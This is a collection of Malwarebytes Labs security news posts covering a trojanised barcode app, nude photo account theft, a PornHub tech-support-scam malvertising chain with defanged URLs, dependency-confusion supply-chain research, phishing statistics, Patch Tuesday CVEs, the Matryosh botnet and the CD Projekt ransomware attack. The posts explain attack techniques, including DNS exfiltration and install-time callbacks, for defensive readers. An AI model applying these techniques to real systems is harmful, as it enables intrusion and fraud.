Archive for author: makoadmin

This week on Lock and Code, we discuss the top security headlines generated right here on Labs and around the Internet. In addition, we talk to Adam Kujawa, security evangelist and director of Malwarebytes Labs, about Emotet, the former public enemy No. 1 in the cybercrime world.

What began in 2014 as a simple banking Trojan evolved into one of the most sophisticated malware types in the world, able to insert itself into ongoing email threads between coworkers, recognize and evade virtual environments, and serve as a first step into infecting a corporate network, only to deliver separate malware at a later date. It was bad, bad news.

But on January 27, Emotet got knocked out.

Tune in to hear about Emotet’s past, its evolution, its eventual takedown through an international law enforcement effort, and what the upcoming malware power vacuum means for malware development, on the latest episode of Lock and Code, with host David Ruiz.

You can also find us on the Apple iTunes store and Spotify, plus whatever preferred podcast platform you use.

We cover our own research on:

• How NOT to fail at PDF redaction
• Android devices caught in Matryosh botnet
• Cyberpunk 2077 developer hit by ransomware
• Hackers try to poison drinking water at a facility in Florida
• Microsoft and Adobe fix in-the-wild exploits
• What Google learned from 1 billion evil email scams
• Researcher demonstrates new type of supply-chain attack

Other cybersecurity news:

• Eight Britons arrested over hacking phones of US celebrities (Source: Sky News)
• Scammers are selling fake COVID19 vaccination cards for $20 (Source: InfoSecurity Magazine)
• 223 vulnerabilities identified that were used in recent ransomware attacks (Source: SC Magazine)
• Malicious extension abuses Chrome sync to steal users’ data (Source: BleepingComputer)
• Junior leaders need to move past the discourse surrounding digital media (Source: Modern War Institute)

Stay safe, everyone!

The post Talking Emotet’s takedown with Adam Kujawa: Lock and Code S02E01 appeared first on Malwarebytes Labs.

In our last blog, Barcode Scanner app on Google Play infects 10 million users with one update, we wrote about a barcode scanner found on the Google Play store that was infected with Android/Trojan.HiddenAds.AdQR. All initial signs led us to believe that LavaBird LTD was the developer of this malware, but since then, a representative from LavaBird reached out to us.  They claimed it was not them who was responsible for uploading malicious versions of Barcode Scanner, package name com.qrcodescanner.barcodescanner, but an account named “The space team.” 

Upfront, we must also say that though we attempted to reach “The space team” when writing this story, we received no response.

Here, we will show the evidence of the case presented by LavaBird.

LavaBird pleading its case

Below we have the original message from LavaBird from February 10, 2020. We have provided minor editing to conceal and remove sensitive information:

“Good day.

We have read the article and are outraged no less than you. We were the intermediary between the seller and the buyer in this situation.

And the application was transferred to the account “The space team”

Herewith the following account details:

Here is their official email (as listed in Google Play) – digitalapp@yahoo.com

We have written them a letter so they should remove their Google Play account.

Also, we reported that account and app to Google.

Lavabird LTD develops and sells applications, and sometimes we buy and sell applications.

We have a lot of useful apps on our account, who always complied to all Google Policies – https://play.google.com/store/apps/developer?id=LAVABIRD+LTD

The update that we published from our account was made by the buyer to verify the key and password from the application.

The buyer was given access to the Google Play console of this application and he updated it himself. After that in a week, we transferred an application to buyer Google Play account – it was 7th of December.

We attached a screenshot, from our developer computer the app is visible – probably because he still has got Barcode app on his device. The app is unpublished, probably, since, for people, who do not have the app installed, you can see only “We’re sorry, the requested URL was not found on this server.”

We are very sorry that the application has become a virus, for us it is not only a blow to our reputation.

We hope users will remove the app with a virus from their phones.

We ask you to change the name of the developer to the real “The space team” and attach actual screenshots if needed.

Regards LAVABIRD LTD”

Transferring of ownership

Let’s start with LavaBird’s claim of transferring ownership to The space team on December 7^th, 2020.  To verify LavaBird’s claims, we search for our own cache Google PLAY webpage of the Barcode Scanner with The space team as owner. Although we’ve included screenshots from the Italian version of the site, here is evidence of ownership to The space team of Barcode Scanner on the date of transfer, December 7, 2020:

Although this may be true, this raises another question. Why did we find evidence of LavaBird being the owner during our last blog prior to the transfer date?  The screenshot from our last blog is December 4, 2020:

Was the malware code really added on December 7, or did it exist before? Did we make a mistake of accusing the wrong developer? Further investigation was needed to verify. Thereupon, we turn to third-party app stores that grab APKs from Google Play the date they upload to Play. Keep in mind these types of app stores do not scan APKs for malware like Google Play does. We assume this is due to them trusting Google Play to do that job in advance. Thus, if malware is later revealed to have gotten onto Google Play, third-party app stores do not remove the APKs from their sites. In other words, use third-party app stores at your own risk. (But for purposes of grabbing old versions of apps, malware versions and all, third-party app stores are great.)

The following shows our findings of analyzing multiple versions of Barcode Scanner, package name com.qrcodescanner.barcodescanner, from third-party app stores. The first version containing malware is Barcode Scanner v1.67. The timestamp is November 28, 2020, before the transfer. Grabbing yet another cache Google Play webpage, we prove that v1.67 ownership belonged to LavaBird LTD at that time:

Furthermore, analyzing Barcode Scanner v1.68, the one in our last blog’s screenshot, we prove it contains malware as well. Hence, our accusation is true. LavaBird is indeed the owner during the time of infection. We then went on to analyze the previous version of Barcode Scanner—v1.62—from August 11, 2020. Lo and behold, this version is clean. This is how we can conclude that the infection starts with Barcode Scanner v1.67.

Clarifications from LavaBird

With many unanswered questions, it was time to reach out to LavaBird. I would like to state upfront that LavaBird was quick to respond to all inquiries and proved very helpful during this process.

The transfer to LavaBird

LavaBird stated originally, “We were the intermediary between the seller and the buyer in this situation.” Not being the original developer, LavaBird was transferred ownership of Barcode Scanner on November 23, 2020.

It is important to note that we were unable to find any cache Google Play webpages to find the previous owner but we can verify that previous app versions did exist based off third-party app store data.

Transferring of keys

The big question for LavaBird is this: If “The space team” is the bad actor here, why is the that first version of Barcode Scanner that contains malware, v1.67, lists its ownership to LavaBird? 

LavaBird explains: 

“To verify the authenticity of the app signing key and password, we gave them (The space team) the option to update the app. As soon as they were convinced of the correctness of the keys, the transaction took place on December 7, the application was transferred to their account.”

The quoted “app signing key” needs some explaining. App signing is setup via Google Play when an app developer first creates an app and wants to upload it onto the digital store. In this process, Google assigns them a keypair. The keypair comes with a public key and a private key.

Every app that is installed from Google Play onto a mobile device is signed with a public key. When an app developer uploads a newer update of the app to Google Play, they sign it with the assigned private key. This is due to the fact that mobile devices will only accept an update of an already installed app when its public key matches the private key. This is done to prevent others from uploading a malicious version of your app to Google Play with a different private key. For this reason, transferring of the app’s signing key when transferring ownership of the app is a legitimate part of process.  Therefore, the request by “The space team” to verify that the private key works by uploading an update to Google Play seems plausible.

Updating the analytics

LavaBird went to on to explain:

“We also agreed to update the app with their analytics (according to them it was just analytics) for half of the sum, before transferring the application.

Our agreement included the conditions that they would check the operation of the application with their analytics, as you can see there were 2 updates. One on November 27 and another on December 4. All updates were made by them. We were in the process of selling the application, so we tested the application only manually.”

Now we know the second reason for the updates is for “The space team” to modify the analytics code. Note that every Android app has some type of analytics in the code which gathers simple data points. Nothing unusual there. Looking at the code of Barcode Scanner versions for myself, there certainly is modification to the analytics code. However, during this same time period is when the adding of the malicious code occurred.

Keep in mind that allowing a developer to modify code, even analytics, before transferring is not common practice. When asked why they did not check the code themselves before allowing the update they replied:

“Usually we do not check the code, because the application will go to another publisher and if he makes mistakes, then it will be a minus for him and not for us.”

LavaBird continued, stating, “We are very sorry that this did not arouse suspicion, again, we thought that the application would be on their account soon and it would not affect us … We were very wrong.”

I also went on to ask if there was any research done on “The space team” to verify trust in them. LavaBird responded that “Unfortunately, we did not have such practice, but this lesson will remain with us for life.” LavaBird apparently found The space team as a buyer through word of mouth.

Thereafter, both updates containing malicious code on November 28 and December 4 are shown with LavaBird LTD being the owner:

It is not until December 7, the date of the transfer, that the owner shows as “The space team.”

Breaking down the timeline

For simplicity, here is a breakdown of the timeline:

• August 11, 2020: Barcode Scanner v1.62 is uploaded to Google Play and is a clean version from owners prior to LavaBird LTD
• November 23, 2020: LavaBird purchases a clean version of Barcode Scanner
• November 25, 2020: LavaBird enters agreements with “The space team”
  • “The space team” claims they need to, according to LavaBird, “verify the authenticity of the app signing key and password” and “update the app with their analytics” which led to updates on Google Play
• November 27, 2020: Barcode Scanner v1.67 is uploaded to Google Play with malicious code added with LavaBird shown as owner
  • LavaBird claims this was done by “The space team” prior to purchase, according to their agreement
• December 4, 2020: Barcode Scanner v1.68 is uploaded to Google Play still containing malicious code
• December 7, 2020: LavaBird transfers ownership of Barcode Scanner to “The space team”
• December 7, 2020: Barcode Scanner v1.69 is uploaded to Google Play with “The space team” as the owner and still contains malicious code

Here is the timeline after the transfer to “The space team”:

• December 21, 2020: Malwarebytes forum patrons first report an instance of infected Barcode Scanner
• December 24, 2020: Malwarebytes for Android adds detection originally as Android/Adware.AdQR.FBG
• December23, 2020: Barcode Scanner v1.71 obfuscates malicious code to evade detection
• December31, 2020: Barcode Scanner v1.73 further obfuscates malicious code to evade detection
• December31, 2020: Barcode Scanner v1.75 further obfuscates malicious code to evade detection
• January 5, 2020: Barcode Scanner v1.75 is last known malware-infected version released on Google PLAY
  • Somewhere thereafter Google Play must have removed the app from the store
• February 1, 2020: Malwarebytes for Android detection updated with increased severity to Android/Trojan.HiddenAds.AdQR which detects all versions
• February 5, 2020: We publish Barcode Scanner app on Google Play infects 10 million users with one update with a screenshot of a Google Play webpage showing LavaBird as owner of the infected Barcode Scanner
• February 10, 2020: We received the original message from LavaBird

More information about the The space team

Alright, so who is “The space team”? The only evidence of them on Google Play is from the Barcode Scanner mentioned and an app called Alarm Clock – Loud and Accurate Alarm, package name com.alarm.clock.wake.up. This app was only on Google Play briefly in December 2020, and is a legitimate, clean app. No other apps appear to exist under the developer’s name.  Because there is only evidence of “The space team” existing from December 2020 to January 2021, we can only assume that the developer account was created in December 2020.

When asking LavaBird of any additional information about “The space team,” they said they “do not have any other information.”

“Also,” LavaBird added, “I think that this is not a company and they can easily create account.” 

In effect, this confirmed my assumptions of them creating an account at the time of transfer. For the purpose of being fair, we did attempt to reach out to “The space team” to comment on the allegations set forth by LavaBird.  They did not respond.

Here is the only information on the “The space team” that we have:

Publisher:
The space team

Email:
digitalapp@yahoo.com

Address:
Ukraine, Krivoy Rog, Kalinina 35

Final Thoughts

From my analysis, what appears to have happened is a clever social engineering feat in which malware developers purchased an already popular app and exploited it. In doing so, they were able to take an app with 10 million installs and turn it into malware. Even if a fraction of those installs updates the app, that is a lot of infections.  And by being able to modify the app’s code before full purchase and transfer, they were able to test if their malware went undetected by Google Play on another company’s account.

There is an important lesson here. To all app sellers, be weary to who you sell. If at all possible, verify their credibility. Furthermore, be skeptical if they are asking unreasonable requests such as modifying code, even analytics, before transfer.

Ultimately, I believe LavaBird’s claims. Unfortunately, LavaBird came in our crosshairs after firing off a blog about this malicious Barcode Scanner. As the evidence shows, we were in right in doing so. Regardless, now knowing the full story we apologize it led to this. We write this in hopes of clearing LavaBrid’s name.

The post Who is to blame for the malicious Barcode Scanner that got on the Google Play store? appeared first on Malwarebytes Labs.

Two former college graduates are in a lot of trouble after breaking into other students’ accounts and stealing sensitive personal data. They’re facing some serious charges with restitution payments of $35,430, potential jail time, and the threat of very big fines thrown into the mix.

What happened?

A man from New York has pleaded guilty to one count of aggravated identity theft, and one count of computer intrusion causing damage. Working with another former graduate, he accessed the school email accounts of dozens of college students and stole private nude photographs. Many of the images were then shared.

The maximum term of imprisonment for one count of computer intrusion causing damage is 10 years, and a fine of $250,000. The maximum term and fine for one count of aggravated identity theft is 2 years and $250,000.

As we said, big trouble and bigger fines.

How did they do it?

The prosecution documents [PDF] make for some eye-opening reading. The defendant targeted accounts belonging to both random students and students he’d known personally. He requested that other people break into the accounts and accessed a number himself without permission. With those, he broke into social media profiles / web storage and stole nude images and movies, and traded them with others.

To gain access to the email accounts, he appears to have reset account passwords by correctly guessing password reset questions. He also used lists of compromised passwords to break into one account, and discussed social engineering tricks related to Snapchat. This involved sending texts from fake numbers to potential victims claiming to have accidentally signed up with their number. They then offered to “fix” it for the potential victim by asking for the “code to reset the password”.

The more you read, the worse it gets. For example, collages featuring students in private, intimate situations were placed next to images of them at graduation time and then distributed. This is clearly going to have a severe impact on those involved, especially as graduation photos would likely contain identifiable information. A college robe or identifiable badge / name / anything else would tie individuals to images in no uncertain terms.

This Register article also mentions falsification of “good character” documents in relation to the second person involved, and they seem to be in quite the pickle generally.

Anything is a target

Talking about security threats and people’s threat models is a tricky business. When a big story hits the news like a nation state attack, people worry they’re in the firing line. The reality is that incredibly expensive and complicated compromises target very specific people for a reason. It quickly becomes a waste of money if your tailor-made targeted attack is randomly spammed out to a cast of millions. A well known finance journalist faces some different threats and challenges than a primary school teacher, and that teacher faces some different issues to someone running a digital payment method in a store. Not every threat is out to get everyone, in other words.

The flipside is that when people don’t stagger into a blitzkrieg of high-level corporate espionage, complacency can set in. People can assume “my data is nothing special, I won’t be targeted”. As we can see here, that’s not the case. You just end up with threats more attuned to your personal situation and lifestyle.

The story above is a really nasty, insidious and sustained attack on people where the defendant knows some of them personally. Such familiarity may have helped the perpetrator in their social engineering efforts, and it may also have made guessing passwords and security questions easier.

Defending yourself

Nothing is 100% foolproof, but basic measures work wonders when it comes to keeping email accounts secure. The first thing to keep in mind is that every password you use should be unique. At least one of the victims in this case was undone because they protected their email using a password they’d used elsewhere. The easiest way to do this is by letting a password manager do it for you.

If your mail service has two-factor authentication (2FA) available, enable it. If you have the choice of 2FA codes sent by text or generated by an authenticator app, use the app. Scammers can use SIM swap fraud to compromise accounts protected by SMS codes. Apps also have the advantage of working offline, so it won’t matter if you have no mobile signal.

Some other tips for keeping data safe

• Securing your nudes: A good rundown of where to start locking down your most sensitive files.
• Safe storage in the cloud: Some advice for locking things down in the digital ether.
• Sending information securely: Have important files / information which needs to be sent somewhere? This is a great place to start.

With enough time and effort a determined attacker can potentially bypass any security. The idea is to present them with enough obstacles that their time is better spent elsewhere. If enough of us do the same thing, hopefully they’ll abandon all plans of compromise and do something more productive.

Until then, remember that awful people are happy to do terrible things with your most personal data. While a few of them run into the full force of the law, a more sizeable portion likely never feel any consequences whatsoever. Whatever you’re doing with your files, we wish both them and your good self many compromise-free years to come.

The post Nude photo theft offers lessons in selfie security appeared first on Malwarebytes Labs.

Threat actors involved in tech support scams have been running a browser locker campaign from November 2020 until February 2021 on the world’s largest adult platforms including PornHub.

The same group behind this campaign has been active for much longer and we believe is tied to previous schemes we’ve identified before, making it one of the most prolific tech support scam operations to date.

In late January, we heard several complaints of fake Microsoft alerts and started to investigate them. We discovered a number of decoy dating sites used by fraudulent advertisers on TrafficJunky, the advertising company for brands such as PornHub, RedTube and YouPorn owned by MindGeek.

The scammers created those fake identities to redirect traffic away from the adult platforms onto pages showing bogus alerts claiming users were infected with pornographic spyware. This well-known scheme attempts to scare victims into calling so-called technicians for assistance but in fact defrauds them for hundreds of dollars.

We reported our findings to MindGeek and continue to track and share new incidents as they arise. We believe this threat actor will keep on tricking new victims until fully exposed and individuals apprehended by law enforcement.

Redirection chain

We were able to capture the malvertising redirection chain several times and the flow is almost identical. We know from our telemetry that the malicious advertiser is targeting victims from the U.S. and the U.K.

• User clicks to play a video
• A new browser window opens
• A request is sent to the TrafficJunky ad platform
• An ad is served and makes a request to a decoy dating site
• A redirect immediately loads the browser locker

This sequence of events can be summarized in the traffic capture below:

A key part of this malvertising chain is the use of many different fake dating portals that are hiding the redirection mechanism for the browser locker.

Beginnings

This browser locker campaign started well before showing up on PornHub[.]com and went undetected for a long time perhaps due to a clever typosquatting trick. In fact, we were fooled ourselves for a while before seeing what is obvious in hindsight.

On May 21 2020, the threat actor registered the domain name sassysenssations[.]com which contains a voluntary typo (two ‘s’) to mimic sassysensations[.]com which belongs to a legitimate business.

The real domain was registered in 2014 and we even found a billboard advertisement for it tweeted out on April 26 2019, long before the scammers had registered their copycat domain.

What was clever is that the threat actor didn’t seem to set up an actual site for that fake domain, but instead redirected all traffic to the real one if the visitor did not match the parameters from their malvertising campaign.

However, the malvertising chain shows that they leveraged that domain to perform conditional redirects, such as the one seen below:

(1) pornhub[.]com/_xa/ads?zone_id=[removed]
  (2) ads.trafficjunky[.]net/click?url=https%3A%2F%2Fsassysenssations[.]com%
    (3) sassysenssations[.]com/track.php?CampaignID=[removed]&Sitename=Pornhub
     (4) errorhelpline24x7msofficialsoftwareerrorcodex12[.]monster

Later on, it appears the threat actor started diversifying their scheme by creating a number of fake dating sites to use as redirects in addition to using the sassysenssations identity.

Fake dating sites

The malicious advertiser is using a model that has been tried before and consists of setting up fake identities in order to gain access to the ad platform. In this instance, we cataloged dating and romance sites. However, the majority of them did not look authentic or functional and even still had the ‘Lorem ipsum’ text filler.

If you were to visit one those sites directly, you may not see anything else of interest, at least nothing malicious in nature. However, the fraudulent advertiser can easily redirect traffic based on factors such as IP geolocation, referer and other artifacts.

In all, we detected close to 100 decoy domain names set up as “advertising landing pages” used to redirect victims to browser locker scams. Even though the templates are half finished, the threat actor is spending time creating a large inventory they can cycle through in their redirects towards browser lockers.

Browser locker

The browser locker is using a common theme of a fake Microsoft Windows Defender scanner. There is some browser profiling to serve the right template based on whether the user is on Windows or Mac.

While browsing one of the many decoy sites, we found the HTML source code in an exposed directory showing a few additional variations of the browser locker:

Fake advertising infrastructure

Because this is a long running campaign, the infrastructure is fairly large but tends to reuse the same naming convention for domains. The graph below only shows the domains created to abuse the TrafficJunky ad platform. It does not include domains used for the browlock itself.

There was a domain (recipesonline365[.]com) whose naming convention differed from the other dating sites. In fact it is the only one with a non-adult theme.

(1) youporn[.]com/_xa/ads?zone_id=[removed]
  (2) ads.trafficjunky[.]net/deep_click?adtype=pop&url=https%3A%2F%2Frecipesonline365[.]com
    (3) recipesonline365[.]com/?aclid=[removed]
      (4) oopi3.azurewebsites[.]net/Winhelpxcode161616winHelpSecurity0nlineCH007

Back in June 2019, we had identified an ad campaign targeting recipe keywords. The threat actor was using decoy recipe and food sites to lure victims via web searches. Those sites performed the same redirect mechanism as the decoy dating sites, and most of the time lead to a browlock hosted on Azure as well.

There are a number of other parallels between that campaign and the adult one such as the predominant use of NameCheap hosting and a large volume of decoy sites. For this reason we believe this is likely the same threat actor.

Protection

Browser lockers are not dangerous in and out of themselves. They are simply a fake warning which may be disrupting and annoying but one that does not indicate a computer problem.

In recent years they have become very common and affect all browsers, even mobile ones. In the past, we have seen browser lockers that were effectively giving the impression the machine was locked due to how they abused the user interface. As of know, most of them can be closed normally without requiring the use of special commands.

Malwarebytes users were already protected against this campaign. Our Browser Guard extension can detect and stop browser lockers using heuristic techniques that do not require to use a blacklist of known domain names or IP addresses.

Indicators of Compromise

The list of IOCs can be downloaded from our GitHub here.

The post Malvertising campaign on PornHub and other top adult brands exposes users to tech support scams appeared first on Malwarebytes Labs.

Often the most brilliant ideas are the most simple. The hard part is being the first one to come up with the idea and put it to use.

One such brilliant yet simple idea belongs to Alex Birsan, a researcher who came up with a method to breach 35 big tech companies including Microsoft, Apple, Yelp, Paypal, Shopify, Netflix, Tesla, and Uber, that’s earned him $130,000 in bug bounties.

Dependency confusion

This method relies on so-called “dependency confusion.” Basically, it exploits the confusion about the possible locations that computer programs (in this case popular package managers like npm, PyPI and RubyGems) use to find the files a project depends on.

All of these package managers will accept dependencies listed as names and try to resolve what the developer meant. They will look for dependencies locally, on the computer where a project resides, and they will check the package manager’s public, Internet-accessible, directory.

Birsan found that the affected companies used locally stored files that were not present in the open-source directory.

The example below shows an abbreviated package.json file that lists the dependencies for a private project created by PayPal, that ended up on GitHub. Birsan noticed that while some dependencies, like express in this example, were present on the public npm repository, others, like pplogger, were instead PayPal’s privately created npm packages, used and stored internally by the company.

"dependencies": {
  "express": "^4.3.0",
  ...
  "pplogger": "^0.2",
  ...
}

Birsan wondered if malware could be introduced to these projects by creating packages on the public npm repository that matched the names of these local dependencies.

To test his idea he started looking for effective places to upload his own “malicious” Node packages to the npm registry under all the unclaimed names. Because npm allows arbitrary code to be executed automatically when a package is installed, his code was able to “phone home” from each computer it was installed on and tell him when his idea had worked.

Making the call home

Getting the information to his own server from deep inside well-protected corporate networks posed yet another problem which was solved by using DNS exfiltration. DNS data exfiltration is a way to exchange data between two computers without any direct connection, in a way that doesn’t draw much attention.

During the exfiltration phase, the client makes a DNS resolution request to an external DNS server address. Instead of responding with an A record, the attacker’s name server will respond with a CNAME, MX or TXT record, which allows a large amount of unstructured data to be sent between attacker and victim.

Version confusion

Besides expanding his original idea to both the Python and Ruby package managers, PyPI (Python Package Index) and RubyGems respectively, Birsan also tested what would happen if he uploaded a package with a higher and therefor “newer” version number than the actual last version. In these cases, the higher version on a public repository would get preference over an older local version. This increased his success rate even more.

The rewards

So far, Alex Birsan has been granted $130,000 from bug bounty programs. That may seem like a lot of money but imagine what he could have made by selling this trick to the highest bidder. We all have the devastating results of successful supply-chain attacks in our short-, and long-term memory.

• SolarWinds
• Equifax
• NotPetya
• CCleaner

According to Sonatype’s 2020 State of the Software Supply Chain Report, supply-chain attacks targeting open-source software projects are a major issue for enterprises, since 90% of all applications contain open-source code and 11% of those have known vulnerabilities.

And, like Alex Birsan, we would like to stress that all the companies he breached had given their permission to have their security tested by running bug bounty programs or by express permission. In other words, “don’t try this from your own basement or you might get dragged into court by your hoodie”.

Fixes

Most of the breached companies have taken actions to prevent this type of attack, but the method is still usable. The underlying problem needs to be fixed for the entire ecosystem and not on a company by company basis, because we all know there will always be dawdlers that are too late. We note that package.json files allow dependencies to be listed as full URLs, which may provide some resilience to this form of attack.

The most gratifying part of this method is that it does not rely on social engineering. If you can find the filenames, you can execute the plan.

For those that would like to read some more details, the whole story in Alex’s own words can be found in his Medium article and the accompanying Twitter thread.

The post Researcher’s audacious hack demonstrates new type of supply-chain attack appeared first on Malwarebytes Labs.

Google and researchers at Stanford University have released an in-depth study analysing 5 months of phishing / malware mails sent globally. “Who is targeted by email-based phishing and malware? Measuring factors that differentiate risk” looked at more than a billion mails. The results were then fed into a presentation at the Internet Measurement Conference.

After digging in to phishing and malware campaigns automatically blocked by Gmail, they’ve discovered quite a few things about current trends and happenings in the world of phishing.

Rogue email analysis: key findings

• 42% of attacks target users in the US
• 10% target users in the UK
• 5% of attacks target users based in Japan

Attacks primarily focus on North America and Europe, with the US receiving the highest volume of phishing and malware mails. However, the highest risk countries are in Africa and Europe. According to the study, 16 countries exhibited a higher risk on average than the US.

English: the international language of scamming

Localization isn’t particularly popular, with most attacks deploying English email templates across multiple countries. That’s 83% of phishing mails / 97% of malware mails written in English. They do note that some localization takes place, however, with 78% of phishing mails in Japan written in Japanese.

Campaigns are “fast churn”. One particular template may be sent to 100 – 1,000 targets, with campaigns lasting one to three days on average. In one week, small campaigns can account for more than 100 million phishing / malware mails targeting Gmail users.

Ageing, data breaches, and fewer devices

The risk of being targeted increases a little as you move upward through each age group. If you’re in the 55-64 bracket, you’re potentially a more attractive proposition than someone sitting in the 18-24 or 35-44 age ranges. Whether this is due to older users being theoretically more susceptible to scams, or simply that their online footprint is easier to find, is not decided either way.

Previous data breaches bump up the risk. You have far higher odds of being attacked if your details have been exposed in a data breach. You can’t put that data genie back in the bottle and it makes sense that scammers would actively enumerate mails and dig into demographic information.

Sticking to your mobile phone gives you the lowest risk of attack, and the highest risk comes with using multiple devices. Use one single personal computer places you in the middle.

You can read the full study here.

Brush up on your phishing knowledge

We’ve a wealth of anti-phishing tips and advice here at Malwarebytes.

• How to spot mobile phishing: You might be in a lower risk category than others according to the above study, but it’s not a no-risk category. A little caution is never a bad thing either way.
• Spear phishing: As has been mentioned, some activities lend themselves to a higher chance of being targeted. Some of it, like old breaches, is beyond your control. Explore how spear phishers operate, and consider how you might reduce your risk.
• Gaming the gamers: Take a look at a common gaming phishing style.
• COVID scams: The pandemic is a huge draw for malware authors, phishers, and social engineers. Individuals and businesses in need of financial assistance are prime targets for those up to no good. Familiarise yourself with scam tactics and avoid phishy antics and malware-laden missives.
• More general phishing scams: We have a rundown of the most common ways phishers try and breach your trust.

Don’t be complacent about phishing

With these tips and tricks, you’ll hopefully be more prepared when facing down the latest phishes in your mailbox. Whether they want your login, bank details, data, or hard drive access, the threat is very much real. It’s also so common that we’re perhaps numb to the danger of something we see on a daily basis. It might be a regular fixture in your mailbox, you may roll your eyes at the latest fake bank transfer, but rest assured: it works.

The post What Google learned from 1 billion evil email scams appeared first on Malwarebytes Labs.

Traditionally the second Tuesday of the month is Microsoft’s “patch Tuesday”. This is the day when they roll out all the available patches for their software, and their operating systems in particular.

Since there were no less than 56 patches in this month’s issue we will focus on the most important ones. Not that 56 is an awful lot. There were more than 80 in January.

Microsoft CVEs by importance

Publicly disclosed computer security flaws are listed in the Common Vulnerabilities and Exposures (CVE) database. Its goal is to make it easier to share data across separate vulnerability capabilities (tools, databases, and services). The most notable CVE’s in this update were:

• CVE-2021-1732 Windows Win32k elevation of privilege (EoP) vulnerability. This one we listed first as it’s actively exploited in the wild. With a EoP vulnerability attackers can raise their authorization permissions beyond those initially granted. For example, if an attacker gains access to a system but only has read-only permissions they can use an EoP vulnerability to raise them to “read and write”,  giving them an option to make unwanted changes.
• CVE-2021-26701 a .NET Core Remote Code Execution (RCE) vulnerability. A remote code execution (RCE) attack happens when a threat actor illegally accesses and manipulates a computer or server without authorization from its owner. This is the only critical bug Microsoft listed as publicly known.
• CVE-2021-24074 an IPv4 security vulnerability concerning source routing behavior. Microsoft adds to say: IPv4 Source routing is considered insecure and is blocked by default in Windows; however, a system will process the request and return an ICMP message denying the request.
•  CVE-2021-24094 an IPv6 security vulnerability concerning the reassembly limit and related to the previous one. The reassembly limit controls the IP fragmentation, which is an Internet Protocol (IP) process that breaks packets into smaller fragments, so that the resulting pieces can pass through a link with a smaller maximum transmission unit (MTU) than the original packet size. The fragments are reassembled by the receiving host. Apparently an attacker could construe packets leading to a situation where a large number of fragments could lead to code execution.
• CVE-2021-1721 a .NET Core and Visual Studio Denial of Service vulnerability. A Denial of Service attack is focused on making a resource (site, application, server) unavailable for the purpose it was designed.
• CVE-2021-1722 and CVE-2021-24077 are both Windows Fax Service RCE problems. It’s important to remember that even if you don’t use “Windows Fax and Scan”, the Windows Fax Services is enabled by default.
• CVE-2021-1733 is for Sysinternals’ PsExec Elevation of Privilege vulnerability. While this one is listed as not likely to be exploited, the tool itself is worth keeping an eye on, because it’s so popular with cybercriminals. They like it because, as a legitimate administration tool, it isn’t normally detected as malicious software by default.

If you are all about prioritizing your updates, these are the ones that we recommend doing first. Everyone else is advised to install the updates at their earliest convenience.

Adobe Reader for a change

And while you are about to start your update cycles, you may want to have a look at this one from Adobe. Because this one is already actively being exploited as well. Where Adobe was notoriously famous for the bugs in their Flash Player, which has now reached end-of-life, occasionally a vulnerability in their Reader attracts some attention.

CVE-2021-21017 is a critical heap-based buffer overflow flaw. Heap is the name for a region of a process’ memory which is used to store dynamic variables. A buffer overflow is a type of software vulnerability that exists when an area of memory within a software application reaches its address boundary and writes into an adjacent memory region. In software exploit code, two common areas that are targeted for overflows are the stack and the heap.

So, by creating a specially crafted input, attackers could use this vulnerability to write code into a memory location where they normally wouldn’t have access. In their advisory Adobe states that it has received a report that CVE-2021-21017 has been exploited in the wild in limited attacks targeting Adobe Reader users on Windows.

Both Adobe Acrobat and Adobe Reader will automatically detect if a new version of the software is available. The program will check for a new version when you launch either Acrobat or Reader as an application and will prompt you to install a new version when it’s available. IT administrators can control the update settings by using the Adobe Customization Wizard.

Stay safe, everyone!

The post Big Patch Tuesday: Microsoft and Adobe fix in-the-wild exploits appeared first on Malwarebytes Labs.

Researchers at Netlab have discovered a new botnet that re-uses the Mirai framework to pull vulnerable Android devices into DDoS attacks.

The new botnet, which is called Matryosh, is named after the Russian nesting dolls because the encryption algorithm it uses, and the process of obtaining command and control (C2) are nested in layers. The botnet supports DDoS attacks using tcpraw, icmpecho, and udpplain attacks.

How does Matryosh spread?

Like other botnets before it, Matryosh propagates via Android Debug Bridge (ADB), a diagnostic and debugging interface that uses port 5555. While ADB has a genuine use for developers, an internet-facing ADB also opens the way for remote attacks.

Unfortunately, some vendors are shipping Android devices with port 5555 open. This allows developers to communicate with devices remotely in order to control a device and execute commands, which is generally used for diagnostic and debugging purposes. But it also creates a backdoor for any other attackers that connect to this port.

Android Debug Bridge

ADB is a versatile command-line tool that lets you communicate with an Android device and facilitates a variety of device actions, such as installing and debugging apps. It also provides access to a shell that you can use to run a variety of commands on a device.

Although Android is commonly known as a popular operating system for phones, it is also used as an operating system for any number of internet-connected “Things”, such as exercise bikes and television sets.

To make the potential disaster complete, ADB does not require authentication, meaning anybody can connect to a device running ADB to execute commands. In short, with ADB enabled, anybody can remotely connect to the device as root.

How does Matryosh work?

Matryosh is special in that it uses the encrypted Tor network to mask its malicious traffic. When Matryosh runs on an infected device, it decrypts a remote hostname and uses DNS TXT requests to obtain the Tor C2 server and proxy details. After that, Matryosh uses those details to establish a connection with C2 server, via the Tor proxy, to get its commands.

To perform the DDoS attacks the botnet supports tcpraw, icmpecho, and udpplain attacks. This means it is able to launch DDoS attacks via protocols like TCP, ICMP, and UDP.

How to disable ADB

Although ADB is turned off by default on most Android smartphones and tablets, some vendors do ship their devices with ADB enabled.

• Android users: It is hard to provide clear instructions that work for every device, but generally speaking you need to disable the “Developer options” of the device. In the Malwarebytes for Android client there is a Security audit feature that indicates if Developer mode is enabled, where ADB is located, but does not specifically point out that ADB is on or off. If Developer mode is enabled the audit will point that out and a user can access Developer mode by tapping on Development mode in the audit results, which will be displayed in yellow. When Developer mode is disabled, ADB should be disabled as well.

• Enterprises should scan their internal and external networks for port 5555 to see if any devices are listening on that port, which could be an indication that devices are open to receive ADB commands. It also wouldn’t hurt to read our blogpost DDoS attacks are growing: What can businesses do?
• Vendors need to stop shipping products with Android Debug Bridge enabled over a network, especially of those devices are designed to be connected to the internet.

Keep your devices out of the botnets!

The post Android devices caught in Matryosh botnet appeared first on Malwarebytes Labs.

CD PROJEKT RED, the game developer behind Cyberpunk 2077, announced earlier on Twitter that it has fallen victim to a targeted ransomware attack.

The company says it has backups for the affected systems and does not intend to pay the ransom. In their ransom note the attackers boast that they have stolen the source code for some of the company’s games, including its beleaguered flagship, Cyberpunk 2077.

Further details of the attack are still unknown as of this writing, but we’ll update this post accordingly as developments emerge.

The official announcement from the company reads:

Yesterday we discovered that we have become a victim of a targeted cyber attack, due to which some of our internal systems have been compromised.

